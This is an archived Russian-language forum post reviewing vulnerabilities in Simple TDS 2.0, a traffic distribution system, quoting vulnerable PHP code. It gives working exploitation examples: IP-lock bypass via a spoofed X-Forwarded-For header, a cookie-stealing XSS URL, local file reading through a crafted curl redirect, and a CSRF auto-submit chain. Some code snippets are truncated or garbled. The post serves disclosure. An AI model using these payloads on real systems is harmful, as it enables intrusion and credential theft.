PDA

Просмотр полной версии : [ Обзор уязвимостей Simple TDS (sTDS) ]


Take_IT
24.09.2014, 13:14
Продукт: sTDS mod JackSoft

Версия: 2.0

Описание продукта: система распределения трафика, используется для распределения трафика по различным параметрам.

В первую очередь хотел бы высказать несколько общих замечаний касающихся безопасности данной TDS.

1) Недостаточная фильтрация переменных.

Многие из критичных для данного приложения переменных фильтруются недостаточно. Так например фильтр с помощью eregi обходится с помощью нулл-байта. А сама идея фильтра с помощью стоп слов ненадежна и элементарно обходится.

Данная уязвимость сама по себе ценности не представляет. Но может привести к возможности эксплуатировать, другие, более критические уязвимости.

Уязвимый код:

Файл got.php (Строки: 10-12)


PHP:
$ua=urldecode($_SERVER['HTTP_USER_AGENT']);

...

if(eregi($stop_words,$ua))$ua=eregi_replace($stop_ words,'xxx',$ua);

Недостаточная фильтрация переменной $ua

Файл got.php (Строки: 20,85)


PHP:
$ref=urldecode($_SERVER['HTTP_REFERER']);

...

if(eregi($stop_words,$ref))$ref=eregi_replace($sto p_words,'xxx',$ref);

Недостаточная фильтрация переменной $ref

Файл got.php (Строки: 83,86)


PHP:
$refref=urldecode(substr(stristr(getenv('REQUEST_U RI'),'sref='),5));

...

if(eregi($stop_words,$refref))$refref=eregi_replac e($stop_words,'xxx',$refref);

Недостаточная фильтрация переменной $refref

2) Отсутствие флага HttpOnly у cookies хранящих критическую информацию. Позволяет злоумышленнику при проведении атаки класса XSS украсть данные куки.

Уязвимый код:

Файл login.php (Строки: 21)


PHP:
setcookie('pwd',md5(md5($pass.$alogin)),time()+60* 60*8);

Флаг HttpOnly не устанавливается!

3) Обход привязки авторизации к IP адресу.

Админ панель данного приложения может быть жестко привязана к IP адресу администратора. То есть автором, задумывалось блокировать любые попытки авторизаций с других IP адресов. Но, зная IP адрес администратора, злоумышленник сможет его подделать и успешно авторизироваться в админ панели.

Данная уязвимость может помочь в авторизации в админ панели, в том случае если уже известны логин/пароль и IP адрес администратора.

Уязвимый код:

Файл functions.php (Строки: 45-72)


PHP:
functiongetip(){

If (!empty($_SERVER['HTTP_X_FORWARDED_FOR']) && !stristr($_SERVER['HTTP_X_FORWARDED_FOR'],"known") && !isLocalIP($_SERVER['HTTP_X_FORWARDED_FOR']))

{

$ipList=explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);

$ip=$ipList[0];

}

...

if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/",$ip) &&strlen($ip)403 Forbidden");

}

}

Как видно из данного кода, скрипт админ-панели использует функцию GetIP на результат которой мы можем влиять, что дает нам возможность "изменить" наш IP адрес на нужный.

Пример:

http://test/path_to_stds/index.php


Code:
X-Forwaded-For: [admin_ip]

Где [admin_ip] - мы заменяем на IP адрес администратора

SQL injection

В уязвимости класса SQL injection в данном приложении нет никакого смысла, так как в БД не хранится никаких критичных данных. Но конкретно данная уязвимость позволяет провести атаку класса XSS active, что позволит злоумышленнику украсть данные для входа в админ панель.

Зависимости:


Code:
register_global=ON

Отсутствие фильтрации и отсутствие инициализации системной переменной приводит к возможности провести SQL injection.

Уязвимый код:

Файл got.php (Строки: 31-43)


PHP:
$ipa=file(dirname(__FILE__)."/worldip/worldip.en.txt");

$sss=sizeof($ipa);

for($i=0;$i=$ipLstart&&$ipLo";

$se_query=$line['query_string'];

echo"$se_query";

echo"";

Вывод $se_query в браузер при просмотре статистики. Как видно из листингов нигде нет нормальной фильтрации данного значения.

Пример:


Code:
http://test/path_to_stds/got.php?sid=1&sref=http://www.google.ru/?q=%3Cbody%20onload=%22alert(document.cookie);%22% 3E111%3C/body%3E

XSS код будет отображен тут:

http://test/path_to_stds/stats.php

File read

Зависимости:

Необходимы права администратора

Для чтения любого локального файла необходимо создать аут с url вида:


Code:
f{{key}}ile://localhost/[filepath]

А Redir Type указать равным Curl. Так как Curl умеет читать локальные файлы, то при обращении к схеме с созданным аутом:


Code:
http://test/path_to_stds/got.php?sid=[schema_num]

Строка "{{key}}" заменится на "". И мы увидим содержимое локального файла


Code:
file://localhost/[filepath]

Пример:

1) Создаем аут с Redir Type равным Curl


Code:
f{{key}}ile://localhost/С:/boot.ini

2) Открываем


Code:
http://test/path_to_stds/got.php?sid=1

CSRF

Вся админ-панель подверженна уязвимостям CSRF. Это дает шанс злоумышлиннику вынудить администратора выполнить любое действие в админ панели от имени администратора, но при этом в тайне от него.

К примеру можно вынудить админа создать такую схему с аутом, которая позволит в дальнейшем злоумышленнику читать локальные файлы с помощью предыдущей уязвимости.

Пример:

Если у злоумышленника получится заманить админа на страницу со специальным содержимым.

Пример:


Code:




function SubmitSchemeForm(){
document.CreateScheme.submit();
}
SubmitSchemeForm();














function SubmitOutForm(){
document.CreateOut.submit();
}
setTimeout(SubmitOutForm, 5000);


То после этого злоумышленник получит возможность читать любой файл:


Code:
http://test/path_to_stds/got.php?sid=2&tds-key=ile&tds-path=C:/boot.ini

Для данного примера эксплуатирования уязвимости необходимо правильно подобрать значение sid